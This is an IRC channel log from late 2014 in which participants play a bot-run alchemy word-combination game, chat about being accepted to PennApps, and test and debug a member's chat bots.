[2014-12-29T16:26:13-0500] <alokpathy> Wait how?
[2014-12-29T16:26:23-0500] <Hyper> hardmath123: generate recursion via a stack and iteration :)
[2014-12-29T16:26:36-0500] <+hardmath123> lol
[2014-12-29T16:26:46-0500] <+hardmath123> but then i need to make stack and iteration
[2014-12-29T16:26:46-0500] <alokpathy> Yeah
[2014-12-29T16:26:51-0500] <+hardmath123> book+book = stack
[2014-12-29T16:27:07-0500] <Hyper> time + electricty = iteration
[2014-12-29T16:27:14-0500] <alokpathy> lolwut
[2014-12-29T16:27:27-0500] <Hyper> idk
[2014-12-29T16:27:31-0500] <Hyper> time + computer?
[2014-12-29T16:28:05-0500] <alokpathy> That could work
[2014-12-29T16:28:14-0500] <+JacobEdelman> time + computer
[2014-12-29T16:28:24-0500] <alokpathy> JacobEdelman: Hyper beat you to it :P
[2014-12-29T16:28:26-0500] <+JacobEdelman> pancake +pancake is stack
[2014-12-29T16:28:34-0500] <bob_twinkles> @list
[2014-12-29T16:28:34-0500] <alchemy> You have: snowman, chivalry, soil, energy, villain, computer, lava, earth, air, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, ice, tornado, aaron
[2014-12-29T16:28:35-0500] <alchemy> You have: ent, sword, man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, robot, ocean
[2014-12-29T16:28:35-0500] <alchemy> You have: sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-29T16:28:35-0500] <alchemy> That's 48 out of 102!
[2014-12-29T16:28:41-0500] <+JacobEdelman> I was voting for time + computer in favor of time + iteration
[2014-12-29T16:28:44-0500] <alokpathy> @combine robot knight
[2014-12-29T16:28:44-0500] <alchemy> robot and knight don't make anything exciting.
[2014-12-29T16:31:03-0500] <alokpathy> @combine tool lightning
[2014-12-29T16:31:03-0500] <alchemy> tool and lightning don't make anything exciting.
[2014-12-29T16:32:19-0500] <bob_twinkles> @combine sculpture life
[2014-12-29T16:32:19-0500] <alchemy> You don't have life!
[2014-12-29T16:32:21-0500] <bob_twinkles> =(
[2014-12-29T16:32:24-0500] <bob_twinkles> @combine sculpture man
[2014-12-29T16:32:24-0500] <alchemy> sculpture and man don't make anything exciting.
[2014-12-29T16:32:32-0500] <bob_twinkles> @combine plant man
[2014-12-29T16:32:32-0500] <alchemy> plant and man don't make anything exciting.
[2014-12-29T16:32:37-0500] <bob_twinkles> @combine plant plant
[2014-12-29T16:32:37-0500] <alchemy> plant and plant don't make anything exciting.
[2014-12-29T16:34:33-0500] <Tamini_> i wanna be an element
[2014-12-29T16:35:42-0500] <Tamini_> @combine man fire
[2014-12-29T16:35:42-0500] <alchemy> You already combined man and fire to get fireman.
[2014-12-29T16:35:46-0500] <Tamini_> @combine ice man
[2014-12-29T16:35:46-0500] <alchemy> ice and man don't make anything exciting.
[2014-12-29T16:35:51-0500] <Tamini_> @combine snow man
[2014-12-29T16:35:51-0500] <alchemy> You already combined snow and man to get snowman.
[2014-12-29T16:36:02-0500] <Tamini_> @combine hal man
[2014-12-29T16:36:02-0500] <alchemy> You just discovered google (hal + man)!
[2014-12-29T16:36:10-0500] <Tamini_> wait
[2014-12-29T16:36:12-0500] <alokpathy> lolwut
[2014-12-29T16:36:15-0500] <Tamini_> where did hal come from
[2014-12-29T16:36:16-0500] <alokpathy> How does that work?
[2014-12-29T16:36:20-0500] <jwoglom> @combine google man
[2014-12-29T16:36:20-0500] <alchemy> google and man don't make anything exciting.
[2014-12-29T16:36:26-0500] <Tamini_> @combine google computer
[2014-12-29T16:36:26-0500] <alchemy> google and computer don't make anything exciting.
[2014-12-29T16:36:29-0500] <alokpathy> Tamini_: @combine computer sentience
[2014-12-29T16:36:34-0500] <alokpathy> @computer sentience
[2014-12-29T16:36:39-0500] <jwoglom> @combine computer man
[2014-12-29T16:36:39-0500] <alchemy> computer and man don't make anything exciting.
[2014-12-29T16:36:39-0500] <alokpathy> @combine computer sentience
[2014-12-29T16:36:39-0500] <alchemy> You already combined computer and sentience to get hal.
[2014-12-29T16:36:46-0500] <jwoglom> @combine man sentience
[2014-12-29T16:36:46-0500] <alchemy> You already combined man and sentience to get evil.
[2014-12-29T16:36:50-0500] <Tamini_> @combine hal man
[2014-12-29T16:36:50-0500] <alchemy> You already combined hal and man to get google.
[2014-12-29T16:36:52-0500] <alokpathy> @combine google awe
[2014-12-29T16:36:52-0500] <alchemy> You don't have awe!
[2014-12-29T16:36:53-0500] <jwoglom> @combine google sentience
[2014-12-29T16:36:54-0500] <alchemy> google and sentience don't make anything exciting.
[2014-12-29T16:36:57-0500] <Tamini_> @combine google aaron
[2014-12-29T16:36:57-0500] <alchemy> google and aaron don't make anything exciting.
[2014-12-29T16:36:57-0500] <alokpathy> wait what
[2014-12-29T16:36:58-0500] <alokpathy> @list
[2014-12-29T16:36:58-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, lava, earth, air, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, ice, tornado
[2014-12-29T16:36:58-0500] <alchemy> You have: aaron, ent, sword, man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, robot
[2014-12-29T16:36:58-0500] <alchemy> You have: ocean, sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-29T16:36:58-0500] <alchemy> That's 49 out of 102!
[2014-12-29T16:37:05-0500] <Tamini_> awe didnt wanna be pinged
[2014-12-29T16:37:09-0500] <alokpathy> Oh yeah
[2014-12-29T16:37:18-0500] <jwoglom> @combine snowman sentience
[2014-12-29T16:37:19-0500] <alchemy> You already combined snowman and sentience to get olaf.
[2014-12-29T16:37:20-0500] <alokpathy> @combine light google
[2014-12-29T16:37:20-0500] <alchemy> light and google don't make anything exciting.
[2014-12-29T16:37:29-0500] <alokpathy> @combine sentience google
[2014-12-29T16:37:29-0500] <alchemy> sentience and google don't make anything exciting.
[2014-12-29T16:37:36-0500] <jwoglom> @combine robot google
[2014-12-29T16:37:36-0500] <alchemy> robot and google don't make anything exciting.
[2014-12-29T16:37:36-0500] <alokpathy> @combine google energy
[2014-12-29T16:37:36-0500] <alchemy> google and energy don't make anything exciting.
[2014-12-29T16:37:40-0500] <alokpathy> @combine computer google
[2014-12-29T16:37:40-0500] <alchemy> computer and google don't make anything exciting.
[2014-12-29T16:37:40-0500] <jwoglom> @combine robot energy
[2014-12-29T16:37:41-0500] <alchemy> robot and energy don't make anything exciting.
[2014-12-29T16:37:50-0500] <jwoglom> @combine hal human
[2014-12-29T16:37:50-0500] <alchemy> You don't have human!
[2014-12-29T16:37:54-0500] <jwoglom> @combine hal man
[2014-12-29T16:37:54-0500] <alchemy> You already combined hal and man to get google.
[2014-12-29T16:37:55-0500] <alokpathy> @combine hal man
[2014-12-29T16:37:55-0500] <alchemy> You already combined hal and man to get google.
[2014-12-29T16:37:59-0500] <alokpathy> @combine google man
[2014-12-29T16:37:59-0500] <alchemy> google and man don't make anything exciting.
[2014-12-29T16:38:03-0500] <jwoglom> @combine google energy
[2014-12-29T16:38:03-0500] <alchemy> google and energy don't make anything exciting.
[2014-12-29T16:38:04-0500] <alokpathy> @combine google google
[2014-12-29T16:38:04-0500] <alchemy> google and google don't make anything exciting.
[2014-12-29T16:38:06-0500] <Tamini_> @combine google robot
[2014-12-29T16:38:06-0500] <bob_twinkles> @combine hal google
[2014-12-29T16:38:06-0500] <alchemy> google and robot don't make anything exciting.
[2014-12-29T16:38:06-0500] <alchemy> hal and google don't make anything exciting.
[2014-12-29T16:38:08-0500] <jwoglom> @combine google villain
[2014-12-29T16:38:08-0500] <alchemy> google and villain don't make anything exciting.
[2014-12-29T16:38:09-0500] <alokpathy> @list
[2014-12-29T16:38:10-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, lava, earth, air, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, ice, tornado
[2014-12-29T16:38:10-0500] <alchemy> You have: aaron, ent, sword, man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, robot
[2014-12-29T16:38:10-0500] <alchemy> You have: ocean, sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-29T16:38:10-0500] <alchemy> That's 49 out of 102!
[2014-12-29T16:38:11-0500] <Tamini_> @combine hal robot
[2014-12-29T16:38:11-0500] <alchemy> hal and robot don't make anything exciting.
[2014-12-29T16:38:19-0500] <alokpathy> @combine robot google
[2014-12-29T16:38:19-0500] <alchemy> robot and google don't make anything exciting.
[2014-12-29T16:38:21-0500] <jwoglom> @combine ocean soil
[2014-12-29T16:38:21-0500] <alchemy> ocean and soil don't make anything exciting.
[2014-12-29T16:38:25-0500] <alokpathy> @combine robot knight
[2014-12-29T16:38:25-0500] <alchemy> robot and knight don't make anything exciting.
[2014-12-29T16:38:26-0500] <jwoglom> @combine fire ocean
[2014-12-29T16:38:26-0500] <alchemy> fire and ocean don't make anything exciting.
[2014-12-29T16:38:32-0500] <jwoglom> @combine penguin google
[2014-12-29T16:38:32-0500] <alchemy> penguin and google don't make anything exciting.
[2014-12-29T16:38:35-0500] <jwoglom> @combine penguin sentience
[2014-12-29T16:38:35-0500] <alchemy> penguin and sentience don't make anything exciting.
[2014-12-29T16:38:36-0500] <alokpathy> @combine robot energy
[2014-12-29T16:38:36-0500] <alchemy> robot and energy don't make anything exciting.
[2014-12-29T16:38:39-0500] <jwoglom> @combine penguin evil
[2014-12-29T16:38:39-0500] <alchemy> penguin and evil don't make anything exciting.
[2014-12-29T16:38:44-0500] <alokpathy> @combine penguin sentience
[2014-12-29T16:38:44-0500] <alchemy> penguin and sentience don't make anything exciting.
[2014-12-29T16:38:46-0500] <jwoglom> @combine snowman evil
[2014-12-29T16:38:46-0500] <alchemy> snowman and evil don't make anything exciting.
[2014-12-29T16:39:04-0500] <+hardmath123> ooh google
[2014-12-29T16:39:06-0500] <+hardmath123> shiny
[2014-12-29T16:39:13-0500] <alokpathy> @combine shiny google
[2014-12-29T16:39:13-0500] <alchemy> You don't have shiny!
[2014-12-29T16:39:13-0500] <+JacobEdelman> alokpathy: weiss is in to pennapps
[2014-12-29T16:39:18-0500] <alokpathy> JacobEdelman: :o
[2014-12-29T16:39:25-0500] <alokpathy> So me, you, Ben, and Weiss?
[2014-12-29T16:39:27-0500] <@awe> Yeah!
[2014-12-29T16:39:27-0500] <@awe> :D
[2014-12-29T16:39:34-0500] <+JacobEdelman> I am renaming mysel jacob, lord of pennapps, for getting 3 different people into pennapps 
[2014-12-29T16:39:42-0500] <alokpathy> including yourself :P
[2014-12-29T16:39:47-0500] <+JacobEdelman> yup :)
[2014-12-29T16:39:52-0500] <alokpathy> woo
[2014-12-29T16:40:01-0500] <alokpathy> So Ben confirmed about PennApps?
[2014-12-29T16:40:08-0500] <+JacobEdelman> yes
[2014-12-29T16:40:11-0500] <alokpathy> He told me he had to see if he had finals.
[2014-12-29T16:40:12-0500] <alokpathy> Ah okay
[2014-12-29T16:40:45-0500] <@awe> :Dfinals?
[2014-12-29T16:40:47-0500] <@awe> wait, what?
[2014-12-29T16:40:50-0500] <@awe> Finals in January?
[2014-12-29T16:41:09-0500] <alokpathy> awe: Yeah, Princeton's finals are after break.
[2014-12-29T16:41:12-0500] <+JacobEdelman> awe: confirm and all
[2014-12-29T16:41:18-0500] <@awe> That's so bad.
[2014-12-29T16:41:32-0500] <@awe> JacobEdelman: ?
[2014-12-29T16:41:39-0500] <+JacobEdelman> once your in
[2014-12-29T16:41:41-0500] <+JacobEdelman> on the 1st
[2014-12-29T16:41:48-0500] <+JacobEdelman> you may have to confirm
[2014-12-29T16:41:49-0500] <+JacobEdelman> but not now
[2014-12-29T16:42:15-0500] <@awe> Oh, no, it's updated on their site.
[2014-12-29T16:42:23-0500] <+JacobEdelman> ?
[2014-12-29T16:42:32-0500] <+JacobEdelman> already?
[2014-12-29T16:42:40-0500] <+JacobEdelman> so, confirm and tshirt size and stuff
[2014-12-29T16:44:09-0500] <@awe> I did.
[2014-12-29T16:45:46-0500] <alokpathy> Penguins :D
[2014-12-29T17:13:16-0500] <+JacobEdelman> what?
[2014-12-29T17:13:18-0500] <+JacobEdelman> where?
[2014-12-29T17:13:23-0500] <+JacobEdelman> what penguins?
[2014-12-29T17:14:53-0500] <alokpathy> PennApps
[2014-12-29T17:15:04-0500] <alokpathy> Pennjamin Franklin
[2014-12-29T17:32:07-0500] <Tamini_> lol
[2014-12-29T17:32:10-0500] <Tamini_> cute
[2014-12-29T17:32:43-0500] <+hardmath123> The Penn is mightier than the sword.
[2014-12-29T17:46:43-0500] <alokpathy> @lisyt
[2014-12-29T17:46:45-0500] <alokpathy> @list
[2014-12-29T17:46:45-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, lava, earth, air, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, ice, tornado
[2014-12-29T17:46:45-0500] <alchemy> You have: aaron, ent, sword, man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, robot
[2014-12-29T17:46:45-0500] <alchemy> You have: ocean, sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-29T17:46:45-0500] <alchemy> That's 49 out of 102!
[2014-12-29T17:47:04-0500] <alokpathy> @combine ocean wind
[2014-12-29T17:47:04-0500] <alchemy> ocean and wind don't make anything exciting.
[2014-12-29T17:47:14-0500] <alokpathy> @combine hal rust
[2014-12-29T17:47:14-0500] <alchemy> hal and rust don't make anything exciting.
[2014-12-29T17:47:17-0500] <alokpathy> @combine hal ice
[2014-12-29T17:47:17-0500] <alchemy> hal and ice don't make anything exciting.
[2014-12-29T17:48:34-0500] <alokpathy> @combine villain computer
[2014-12-29T17:48:34-0500] <alchemy> villain and computer don't make anything exciting.
[2014-12-29T17:48:38-0500] <Tamini_> @help
[2014-12-29T17:48:38-0500] <alchemy> To mix a new brew: `@combine <element> <element>`
[2014-12-29T17:48:38-0500] <alchemy> To list your elements: `@list`
[2014-12-29T17:48:38-0500] <alchemy> Also try `@encourage` and `@hint`.
[2014-12-29T17:48:40-0500] <alokpathy> @combine sentience neanderthal
[2014-12-29T17:48:40-0500] <alchemy> sentience and neanderthal don't make anything exciting.
[2014-12-29T17:48:41-0500] <Tamini_> @hint
[2014-12-29T17:48:41-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-29T17:48:42-0500] <Tamini_> oops
[2014-12-29T17:48:49-0500] <alokpathy> @combine olaf lightning
[2014-12-29T17:48:49-0500] <alchemy> olaf and lightning don't make anything exciting.
[2014-12-29T17:48:58-0500] <alokpathy> @combine tsunami lightning
[2014-12-29T17:48:58-0500] <alchemy> tsunami and lightning don't make anything exciting.
[2014-12-29T17:49:03-0500] <alokpathy> @combine tornado tsunami
[2014-12-29T17:49:03-0500] <alchemy> tornado and tsunami don't make anything exciting.
[2014-12-29T17:49:26-0500] <alokpathy> @combine lava earth
[2014-12-29T17:49:26-0500] <alchemy> lava and earth don't make anything exciting.
[2014-12-29T17:49:44-0500] <alokpathy> @combine robot tsunami
[2014-12-29T17:49:44-0500] <alchemy> robot and tsunami don't make anything exciting.
[2014-12-29T17:49:46-0500] <alokpathy> darn
[2014-12-29T17:50:03-0500] <Tamini_> @combine stone wind
[2014-12-29T17:50:03-0500] <alchemy> stone and wind don't make anything exciting.
[2014-12-29T17:50:15-0500] <alokpathy> Hm 
[2014-12-29T17:50:19-0500] <alokpathy> @combine fire man
[2014-12-29T17:50:19-0500] <alchemy> You already combined fire and man to get fireman.
[2014-12-29T17:50:23-0500] <alokpathy> or
[2014-12-29T17:50:24-0500] <alokpathy> firebender?
[2014-12-29T17:50:27-0500] <alokpathy> @combine earth man
[2014-12-29T17:50:27-0500] <alchemy> earth and man don't make anything exciting.
[2014-12-29T17:50:32-0500] <alokpathy> earthbender?
[2014-12-29T17:50:32-0500] <Tamini_> @combine air stone
[2014-12-29T17:50:32-0500] <alchemy> air and stone don't make anything exciting.
[2014-12-29T17:50:34-0500] <alokpathy> @combine water man
[2014-12-29T17:50:34-0500] <alchemy> water and man don't make anything exciting.
[2014-12-29T17:50:37-0500] <alokpathy> waterbender?
[2014-12-29T17:50:37-0500] <Tamini_> i want sand :(
[2014-12-29T17:52:29-0500] <Tamini_> @combine air man
[2014-12-29T17:52:29-0500] <alchemy> air and man don't make anything exciting.
[2014-12-29T17:52:38-0500] <Tamini_> avatar pls
[2014-12-29T17:55:23-0500] <alokpathy> @combine air fire earth water man
[2014-12-29T17:55:28-0500] <alokpathy> poo
[2014-12-29T17:55:46-0500] <alokpathy> @list
[2014-12-29T17:55:46-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, lava, earth, air, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, ice, tornado
[2014-12-29T17:55:46-0500] <alchemy> You have: aaron, ent, sword, man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, robot
[2014-12-29T17:55:46-0500] <alchemy> You have: ocean, sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-29T17:55:46-0500] <alchemy> That's 49 out of 102!
[2014-12-29T17:55:52-0500] <alokpathy> @combine soil energy
[2014-12-29T17:55:52-0500] <alchemy> You already combined soil and energy to get plant.
[2014-12-29T17:55:56-0500] <alokpathy> @combine plant man
[2014-12-29T17:55:56-0500] <alchemy> plant and man don't make anything exciting.
[2014-12-29T17:56:02-0500] <alokpathy> @combine plant tree
[2014-12-29T17:56:02-0500] <alchemy> plant and tree don't make anything exciting.
[2014-12-29T17:56:07-0500] <alokpathy> @combine tornado snow
[2014-12-29T17:56:07-0500] <alchemy> tornado and snow don't make anything exciting.
[2014-12-29T17:56:09-0500] <alokpathy> @combine tornado ice
[2014-12-29T17:56:09-0500] <alchemy> tornado and ice don't make anything exciting.
[2014-12-29T17:56:11-0500] <alokpathy> @combine tornado water
[2014-12-29T17:56:11-0500] <alchemy> tornado and water don't make anything exciting.
[2014-12-29T17:56:14-0500] <alokpathy> waterspout? 
[2014-12-29T17:56:52-0500] <alokpathy> @combine penguin man
[2014-12-29T17:56:52-0500] <alchemy> penguin and man don't make anything exciting.
[2014-12-29T17:57:01-0500] <Tamini_> @combine penguin computer
[2014-12-29T17:57:01-0500] <alchemy> penguin and computer don't make anything exciting.
[2014-12-29T17:57:04-0500] <Tamini_> COME ON LINUX
[2014-12-29T17:57:15-0500] <alokpathy> wowow
[2014-12-29T17:57:48-0500] <alokpathy> @combine knight man
[2014-12-29T17:57:48-0500] <alchemy> knight and man don't make anything exciting.
[2014-12-29T17:57:52-0500] <alokpathy> @combine knight chivalryu
[2014-12-29T17:57:53-0500] <alchemy> You don't have chivalryu!
[2014-12-29T17:57:54-0500] <alokpathy> @combine knight chivalry
[2014-12-29T17:57:54-0500] <alchemy> knight and chivalry don't make anything exciting.
[2014-12-29T17:58:11-0500] <alokpathy> This game is hard.
[2014-12-29T17:58:12-0500] <alokpathy> @list
[2014-12-29T17:58:12-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, lava, earth, air, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, ice, tornado
[2014-12-29T17:58:12-0500] <alchemy> You have: aaron, ent, sword, man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, robot
[2014-12-29T17:58:12-0500] <alchemy> You have: ocean, sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-29T17:58:12-0500] <alchemy> That's 49 out of 102!
[2014-12-29T17:58:26-0500] <alokpathy> @combine metal knight
[2014-12-29T17:58:26-0500] <alchemy> metal and knight don't make anything exciting.
[2014-12-29T17:58:31-0500] <Tamini_> hardmath123: fix this :(
[2014-12-29T17:58:35-0500] <alokpathy> @combine computer knight
[2014-12-29T17:58:35-0500] <alchemy> computer and knight don't make anything exciting.
[2014-12-29T17:58:36-0500] <Tamini_> i am so disappointed in you
[2014-12-29T17:58:42-0500] <alokpathy> Wow
[2014-12-29T17:58:52-0500] <alokpathy> The Tamini_ seal of disapproval. 
[2014-12-29T17:59:00-0500] <Tamini_> :P
[2014-12-29T18:05:49-0500] <@awe> [17:57:01]  <Tamini_>	@combine penguin computer
[2014-12-29T18:05:49-0500] <@awe> [17:57:01]  <alchemy>	penguin and computer don't make anything exciting.
[2014-12-29T18:05:49-0500] <@awe> [17:57:04]  <Tamini_>	COME ON LINUX
[2014-12-29T18:05:50-0500] <@awe> Yes.
[2014-12-29T18:05:51-0500] <@awe> This.
[2014-12-29T18:15:32-0500] mailbot (mailbot@pdgn-4jd.4t2.2bemd8.IP) joined the channel
[2014-12-29T18:15:38-0500] <@awe> hi mailbot 
[2014-12-29T18:15:48-0500] <@awe> When did mailbot crash?
[2014-12-29T18:16:08-0500] <alokpathy> A while back.
[2014-12-29T18:16:21-0500] <@awe> Why did nobody tell me?
[2014-12-29T18:16:38-0500] <@awe> Also, it's super weird that something as simple as mailbot crashes, but Pidgey has been running forever.
[2014-12-29T18:18:43-0500] <@awe> This is strange. On FyreChat, nothing appears to be happening.
[2014-12-29T18:18:50-0500] <@awe> mailbot won't connect.
[2014-12-29T18:18:56-0500] <@awe> But also won't do anything.
[2014-12-29T18:19:37-0500] <@awe> On the other hand, this one works.
[2014-12-29T18:19:46-0500] <@awe> Same code, same rust installation.
[2014-12-29T18:28:12-0500] awebot (awebot@pdgn-ep8.8dh.tveeac.IP) joined the channel
[2014-12-29T18:28:15-0500] <@awe> hi awe 
[2014-12-29T18:28:16-0500] <@awe> erm
[2014-12-29T18:28:19-0500] <@awe> hi awebot 
[2014-12-29T18:28:30-0500] <@awe> Everything is back to normal with awebot.
[2014-12-29T18:28:36-0500] <@awe> Except the keybase plugin currently doesn't build.
[2014-12-29T18:28:40-0500] <@awe> @ddg test
[2014-12-29T18:28:40-0500] <awebot> awe: https://duckduckgo.com/?q=test
[2014-12-29T18:28:44-0500] <@awe> @users
[2014-12-29T18:28:44-0500] <awebot> Users: +JacobEdelman, +hardmath123, alokpathy, jwoglom, jwoglras1, +LittleBobbyTables, sdamashek, Pharyngeal, mailbot, ubuntor, awebot, zrl, alchemy, @awe, Tamini, bob_twinkles, Hyper, Tamini_, &Pidgey, nezorg
[2014-12-29T18:28:49-0500] <@awe> Yay, ping errybody.
[2014-12-29T18:29:00-0500] <nezorg> grrrr
[2014-12-29T18:29:32-0500] <alokpathy> lolol
[2014-12-29T18:29:34-0500] <@awe> nezorg: sorry bb
[2014-12-29T18:30:10-0500] <@awe> I cannot for the life of me figure out what's going on with mailbot on the other network.
[2014-12-29T18:30:42-0500] <jwoglom> yay unneccesary pings
[2014-12-29T18:31:26-0500] <@awe> In my defense, it wasn't entirely unnecessary.
[2014-12-29T18:31:36-0500] <@awe> I had to test that the dynamic library stuff still worked.
[2014-12-29T18:31:43-0500] <@awe> the users plugin was loaded after he was running.
[2014-12-29T18:32:58-0500] <bob_twinkles> -_-
[2014-12-29T18:33:40-0500] <+hardmath123> awe: i just realized, i think I may have @told you that mailbot crashed. *facepalm*
[2014-12-29T18:33:57-0500] <alokpathy> lolololol
[2014-12-29T18:34:38-0500] <+hardmath123> Tamini_: in case it makes you be less disappointed, you *can* make linux, and the recipe *does* invlove `penguin`.
[2014-12-29T18:35:36-0500] <+hardmath123> @list
[2014-12-29T18:35:36-0500] <alchemy> You have: snowman, google, chivalry, soil, energy, villain, computer, lava, earth, air, cloud, mountain, neanderthal, hal, sentience, electricity, thunder, snow, ice, tornado
[2014-12-29T18:35:36-0500] <alchemy> You have: aaron, ent, sword, man, puddle, plant, fireman, fire, tree, tool, rain, water, evil, hole, penguin, stone, olaf, light, metal, robot
[2014-12-29T18:35:36-0500] <alchemy> You have: ocean, sandstorm, tsunami, wind, knight, lightning, sculpture, steam, rust
[2014-12-29T18:35:36-0500] <alchemy> That's 49 out of 102!
[2014-12-29T18:39:54-0500] <@awe> Ah, mailbot wasn't working on the other server because one of the domains is down
[2014-12-29T18:40:49-0500] <@awe> I wonder why mailbot went down in general though.
[2014-12-29T18:41:39-0500] <@awe> @combine penguin sentience
[2014-12-29T18:41:39-0500] <alchemy> penguin and sentience don't make anything exciting.
[2014-12-29T18:41:44-0500] <Tamini_> @combine penguin robot
[2014-12-29T18:41:44-0500] <alchemy> penguin and robot don't make anything exciting.
[2014-12-29T18:41:45-0500] <@awe> @combine penguin electricity
[2014-12-29T18:41:46-0500] <alchemy> penguin and electricity don't make anything exciting.
[2014-12-29T18:43:40-0500] <Tamini_> @combine computer computer
[2014-12-29T18:43:40-0500] <alchemy> computer and computer don't make anything exciting.
[2014-12-29T18:45:00-0500] <alokpathy> @combine Tamini_ Tamini_ 
[2014-12-29T18:45:08-0500] <alokpathy> Darn
[2014-12-29T18:46:49-0500] <@awe> @choose Tamini or Tamini_ 
[2014-12-29T18:46:49-0500] <awebot> awe: Tamini_ 
[2014-12-29T18:46:51-0500] <@awe> o
[2014-12-29T18:47:15-0500] <alokpathy> @choose awe Tamini_ 
[2014-12-29T18:47:15-0500] <awebot> alokpathy: awe Tamini_ 
[2014-12-29T18:47:20-0500] <alokpathy> @choose awe or Tamini_ 
[2014-12-29T18:47:20-0500] <awebot> alokpathy: Tamini_ 
[2014-12-29T18:47:23-0500] <@awe> :(
[2014-12-29T18:47:24-0500] <alokpathy> @choose awe or Tamini_ 
[2014-12-29T18:47:24-0500] <awebot> alokpathy: awe
[2014-12-29T18:47:26-0500] <@awe> Yay.
[2014-12-29T18:47:28-0500] <alokpathy> @choose awe or Tamini_ 
[2014-12-29T18:47:28-0500] <awebot> alokpathy: awe
[2014-12-29T18:47:31-0500] <@awe> @choose awe or bob_twinkles 
[2014-12-29T18:47:31-0500] <awebot> awe: bob_twinkles 
[2014-12-29T18:47:36-0500] <@awe> O ok.
[2014-12-29T18:47:40-0500] <alokpathy> @choose alchemy awe
[2014-12-29T18:47:40-0500] <awebot> alokpathy: alchemy awe
[2014-12-29T18:47:43-0500] <alokpathy> @choose alchemy or awe
[2014-12-29T18:47:44-0500] <awebot> alokpathy: alchemy
[2014-12-29T18:47:46-0500] <@awe> alokpathy: you can't forget the or.
[2014-12-29T18:47:58-0500] <@awe> @chose or or or or or or or or
[2014-12-29T18:47:58-0500] <alokpathy> awe: Apologies :(
[2014-12-29T18:48:02-0500] <@awe> @choose or or or or or or or or
[2014-12-29T18:48:02-0500] <awebot> awe: or or
[2014-12-29T18:48:15-0500] <alokpathy> @choose awebot or alchemy
[2014-12-29T18:48:15-0500] <awebot> alokpathy: awebot
[2014-12-29T18:48:17-0500] <@awe> the options for that were
[2014-12-29T18:48:40-0500] <@awe> "or" "or or" "or or" "or", I think.
[2014-12-29T18:48:42-0500] <@awe> @choose or or or or or or or or
[2014-12-29T18:48:42-0500] <awebot> awe: or or
[2014-12-29T18:48:43-0500] <@awe> @choose or or or or or or or or
[2014-12-29T18:48:43-0500] <awebot> awe: or
[2014-12-29T18:48:44-0500] <@awe> @choose or or or or or or or or
[2014-12-29T18:48:44-0500] <awebot> awe: or
[2014-12-29T18:48:44-0500] <@awe> @choose or or or or or or or or
[2014-12-29T18:48:44-0500] <awebot> awe: or
[2014-12-29T18:48:45-0500] <@awe> @choose or or or or or or or or
[2014-12-29T18:48:45-0500] <awebot> awe: or
[2014-12-29T18:48:46-0500] <@awe> @choose or or or or or or or or
[2014-12-29T18:48:46-0500] <awebot> awe: or
[2014-12-29T18:48:47-0500] <@awe> Yeah.
[2014-12-29T18:48:50-0500] <@awe> Looks right.
[2014-12-29T18:50:46-0500] <Tamini_> @choose or or
[2014-12-29T18:50:46-0500] <awebot> Tamini_: or or
[2014-12-29T18:50:53-0500] <Tamini_> @choose or or or
[2014-12-29T18:50:53-0500] <awebot> Tamini_: or
[2014-12-29T18:52:12-0500] <bob_twinkles> awe <3
[2014-12-29T18:54:03-0500] failedxyz (failedxyz@pdgn-08c.pqq.rspcfp.IP) joined the channel
[2014-12-29T18:54:13-0500] <failedxyz> hei
[2014-12-29T18:59:53-0500] <alokpathy> Hiya
[2014-12-29T19:06:31-0500] <failedxyz> pls tell me how 2 solve 5chan
[2014-12-29T19:06:32-0500] <failedxyz> lol
[2014-12-29T19:08:34-0500] <Tamini_> lol
[2014-12-29T19:08:42-0500] <Tamini_> hey mzhang bruh
[2014-12-29T19:08:55-0500] <Tamini_> @hint
[2014-12-29T19:08:55-0500] <alchemy> No can do, buddy.
[2014-12-29T19:08:59-0500] <Tamini_> @hint
[2014-12-29T19:08:59-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-29T19:09:01-0500] <Tamini_> @hint
[2014-12-29T19:09:01-0500] <alchemy> No can do, buddy.
[2014-12-29T19:09:03-0500] <Tamini_> @hint
[2014-12-29T19:09:03-0500] <alchemy> Not this time!
[2014-12-29T19:09:06-0500] <Tamini_> @hint
[2014-12-29T19:09:06-0500] <alchemy> No can do, buddy.
[2014-12-29T19:09:08-0500] <Tamini_> @hint
[2014-12-29T19:09:08-0500] <alchemy> No can do, buddy.
[2014-12-29T19:09:16-0500] <Tamini_> cmon that was like 10 times
[2014-12-29T19:09:23-0500] <alokpathy> @hint
[2014-12-29T19:09:23-0500] <alchemy> Not this time!
[2014-12-29T19:09:25-0500] <alokpathy> @hint
[2014-12-29T19:09:26-0500] <alchemy> No can do, buddy.
[2014-12-29T19:09:27-0500] <alokpathy> @hint
[2014-12-29T19:09:27-0500] <alchemy> Not this time!
[2014-12-29T19:09:28-0500] <alokpathy> @hint
[2014-12-29T19:09:28-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-29T19:09:29-0500] <alokpathy> @hint
[2014-12-29T19:09:29-0500] <alchemy> Not this time!
[2014-12-29T19:09:30-0500] <Tamini_> @hint
